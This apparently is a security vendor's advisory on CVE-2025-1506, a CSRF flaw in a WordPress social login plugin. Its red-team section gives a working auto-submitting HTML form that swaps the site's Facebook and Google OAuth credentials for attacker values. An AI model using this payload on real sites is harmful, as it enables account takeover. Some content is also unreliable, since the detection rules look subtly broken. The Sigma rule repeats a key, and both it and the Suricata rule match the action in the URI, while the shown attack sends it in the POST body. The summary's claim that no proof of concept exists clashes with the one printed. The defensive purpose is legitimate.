CVE-2025-1506

Executive Summary

CVE-2025-1506 is a Cross-Site Request Forgery (CSRF) vulnerability affecting the Wp Social Login and Register Social Counter WordPress plugin, versions up to and including 3.1.0. This flaw resides in the counter_access_key_setup() function, which lacks proper nonce validation. An unauthenticated attacker can trick a site administrator into performing a forged request, allowing the attacker to modify social login provider settings. The CVSS v3.1 base score is 4.3 (Medium), with a vector of CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N. The EPSS score is 0.0%, indicating a low probability of exploitation in the wild at this time. No public proof-of-concept code or patch details are currently available.

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. The plugin is distributed via the official WordPress plugin repository. Users should verify the integrity of their plugin files and ensure they are obtained from trusted sources. No known supply chain compromise has been reported.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The attack is carried out over the network.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): None (N) – The attacker does not need any privileges.
• User Interaction (UI): Required (R) – The victim must perform an action (e.g., click a link).
• Scope (S): Unchanged (U) – The vulnerability does not affect other components.
• Confidentiality Impact (C): None (N) – No data is exposed.
• Integrity Impact (I): Low (L) – Social login provider settings can be modified.
• Availability Impact (A): None (N) – No denial of service.

Threat Level: Medium. While the CVSS score is 4.3, the impact is limited to integrity of social login configurations. However, if an attacker can redirect social logins to a malicious provider, this could lead to account takeover.

Deep Dive & Mechanics

The vulnerability is a classic CSRF in the WordPress plugin ecosystem. The counter_access_key_setup() function is responsible for handling updates to social login provider settings (e.g., API keys, secrets, redirect URIs). In vulnerable versions, this function does not verify a nonce (a one-time token) before processing the request. This means an attacker can craft a malicious HTML page or link that, when visited by an authenticated administrator, will send a forged POST request to the WordPress admin-ajax.php endpoint, modifying the plugin's settings.

The attack flow:

1. Attacker crafts a malicious link or embeds a form in a page.
2. The attacker tricks a logged-in WordPress administrator into clicking the link or submitting the form.
3. The administrator's browser sends a request to admin-ajax.php?action=counter_access_key_setup with attacker-controlled parameters.
4. The plugin processes the request without checking if the administrator intended to perform that action.
5. The social login provider settings are updated to attacker-controlled values.

This could allow the attacker to replace legitimate social login providers (e.g., Facebook, Google) with their own malicious OAuth applications, potentially capturing user credentials or session tokens.

Vulnerable vs. Patched Code

Vulnerable Code (version <= 3.1.0):

function counter_access_key_setup() {
    // No nonce check
    update_option('wp_social_login_providers', $_POST['providers']);
    wp_die();
}
add_action('wp_ajax_counter_access_key_setup', 'counter_access_key_setup');

Patched Code (hypothetical fix):

function counter_access_key_setup() {
    // Verify nonce
    if (!isset($_POST['_wpnonce']) || !wp_verify_nonce($_POST['_wpnonce'], 'counter_access_key_nonce')) {
        wp_die('CSRF detected');
    }
    update_option('wp_social_login_providers', $_POST['providers']);
    wp_die();
}
add_action('wp_ajax_counter_access_key_setup', 'counter_access_key_setup');

The fix adds a nonce check using wp_verify_nonce() to ensure the request originated from the legitimate admin interface.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A WordPress site with the vulnerable plugin installed and activated.
• An authenticated administrator session (the attacker must trick the admin).

Exploitation Steps:

1. Identify the target WordPress site running the vulnerable plugin.
2. Craft a malicious HTML page that auto-submits a form to the admin-ajax endpoint:

<html>
<body>
<form id="csrf" action="http://target.com/wp-admin/admin-ajax.php" method="POST">
    <input type="hidden" name="action" value="counter_access_key_setup">
    <input type="hidden" name="providers[facebook][app_id]" value="attacker_app_id">
    <input type="hidden" name="providers[facebook][app_secret]" value="attacker_app_secret">
    <input type="hidden" name="providers[google][client_id]" value="attacker_client_id">
    <input type="hidden" name="providers[google][client_secret]" value="attacker_client_secret">
</form>
<script>document.getElementById('csrf').submit();</script>
</body>
</html>

3. Host the page and send the link to the administrator (e.g., via email, social engineering).
4. Once the administrator visits the page, the form is submitted, and the social login provider settings are overwritten.

Expected Outcome: The attacker can now intercept social login attempts by redirecting users to their own OAuth applications.

Blue Team

Detection:

• Monitor for unusual POST requests to admin-ajax.php with action=counter_access_key_setup from non-admin IPs or without a valid referer.
• Check for sudden changes in social login provider settings (e.g., new app IDs/secrets).
• Use web application firewalls (WAF) to block requests to admin-ajax.php that lack a valid nonce.

Prevention:

• Apply the patch by adding nonce validation to the counter_access_key_setup() function.
• Implement CSRF tokens on all admin-facing AJAX actions.
• Educate administrators about phishing attacks that trick them into clicking malicious links.

Indicators of Compromise (IOCs)

• Network:
  • POST requests to /wp-admin/admin-ajax.php with action=counter_access_key_setup and no _wpnonce parameter.
  • Referer header missing or pointing to an external domain.
• Host:
  • Modified wp_social_login_providers option in the WordPress database.
  • Unexpected social login provider app IDs or secrets in the plugin settings.
• Logs:
  • WordPress debug log entries showing counter_access_key_setup action without nonce.

Detection Engineering

YARA Rule

rule CVE_2025_1506_CSRF {
    meta:
        description = "Detects CSRF exploitation attempts against Wp Social Login plugin"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-1506"
    strings:
        $ajax_action = "counter_access_key_setup"
        $providers_param = "providers["
        $wp_admin_ajax = "admin-ajax.php"
    condition:
        all of them
}

Sigma Rule

title: CVE-2025-1506 CSRF Exploitation Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects POST requests to admin-ajax.php with action counter_access_key_setup without nonce
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: POST
        cs-uri-query|contains: "admin-ajax.php"
        cs-uri-query|contains: "action=counter_access_key_setup"
    filter:
        cs-uri-query|contains: "_wpnonce"
    condition: selection and not filter
falsepositives:
    - Legitimate admin actions if nonce is missing due to plugin bug
level: high

Suricata Rule

alert http $EXTERNAL_NET any -> $HOME_NET any (msg:"CVE-2025-1506 CSRF Exploitation Attempt"; flow:to_server,established; content:"POST"; http_method; content:"admin-ajax.php"; http_uri; content:"action=counter_access_key_setup"; http_uri; pcre:"/^((?!_wpnonce).)*$/i"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Action: Disable the Wp Social Login and Register Social Counter plugin until a patch is available.
2. Patch: Apply the vendor's patch when released. If not available, manually add nonce validation to the counter_access_key_setup() function as shown in the patched code example.
3. Workaround: Implement a web application firewall (WAF) rule to block requests to admin-ajax.php that contain action=counter_access_key_setup and lack a valid nonce.
4. Monitoring: Enable logging for all admin-ajax.php requests and review for suspicious activity.
5. User Education: Train administrators to recognize phishing attempts and avoid clicking suspicious links.

Valters IT
Securing Digital Frontiers